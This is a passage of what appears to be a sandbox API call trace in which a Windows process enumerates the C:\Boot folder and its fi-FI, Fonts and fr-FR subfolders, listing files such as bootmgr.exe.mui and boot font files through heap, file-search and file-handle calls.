[0039.429] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0039.429] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0039.429] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f368) returned 1 [0039.429] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.429] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0039.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.429] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fi-FI" (normalized: "c:\\boot\\fi-fi"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.430] CreateFileW (lpFileName="C:\\Boot\\fi-FI" (normalized: "c:\\boot\\fi-fi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0039.430] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0039.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0039.430] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0039.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0039.430] NtClose (Handle=0x15c) returned 0x0 [0039.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f368 [0039.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0039.430] FindFirstFileExW (in: lpFileName="C:\\Boot\\fi-FI\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f40 [0039.430] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.430] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d4c88 [0039.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94ed08 [0039.431] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.431] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.431] GetLastError () returned 0x12 [0039.431] FindFirstFileExW (in: lpFileName="C:\\Boot\\fi-FI\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f80 [0039.431] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0039.431] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.431] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.431] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.431] GetLastError () returned 0x12 [0039.431] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0039.431] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0039.431] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f368) returned 1 [0039.431] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.431] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0039.431] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.431] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts" (normalized: "c:\\boot\\fonts"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.467] CreateFileW (lpFileName="C:\\Boot\\Fonts" (normalized: "c:\\boot\\fonts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0039.468] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0039.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0039.468] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0039.468] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0039.468] NtClose (Handle=0x124) returned 0x0 [0039.468] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f368 [0039.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0039.468] FindFirstFileExW (in: lpFileName="C:\\Boot\\Fonts\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f80 [0039.468] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.468] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0039.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.468] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.468] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d4ca8 [0039.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94ec80 [0039.468] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.468] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0039.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d4cc8 [0039.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94ebf8 [0039.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.469] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0039.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d4ce8 [0039.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94eb70 [0039.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.469] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0039.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d4d08 [0039.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94eae8 [0039.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.469] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="")) returned 1 [0039.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d4d28 [0039.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94ea60 [0039.470] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.470] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="")) returned 0 [0039.470] GetLastError () returned 0x12 [0039.470] FindFirstFileExW (in: lpFileName="C:\\Boot\\Fonts\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f40 [0039.470] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0039.470] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.470] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0039.470] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0039.470] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0039.470] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0039.470] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="")) returned 1 [0039.470] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="")) returned 0 [0039.470] GetLastError () returned 0x12 [0039.470] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0039.470] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0039.470] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f368) returned 1 [0039.470] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.470] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0039.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.470] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fr-FR" (normalized: "c:\\boot\\fr-fr"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.489] CreateFileW (lpFileName="C:\\Boot\\fr-FR" (normalized: "c:\\boot\\fr-fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0039.489] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0039.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0039.489] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0039.489] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0039.489] NtClose (Handle=0x15c) returned 0x0 [0039.489] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f368 [0039.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0039.489] FindFirstFileExW (in: lpFileName="C:\\Boot\\fr-FR\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f40 [0039.489] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.489] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: 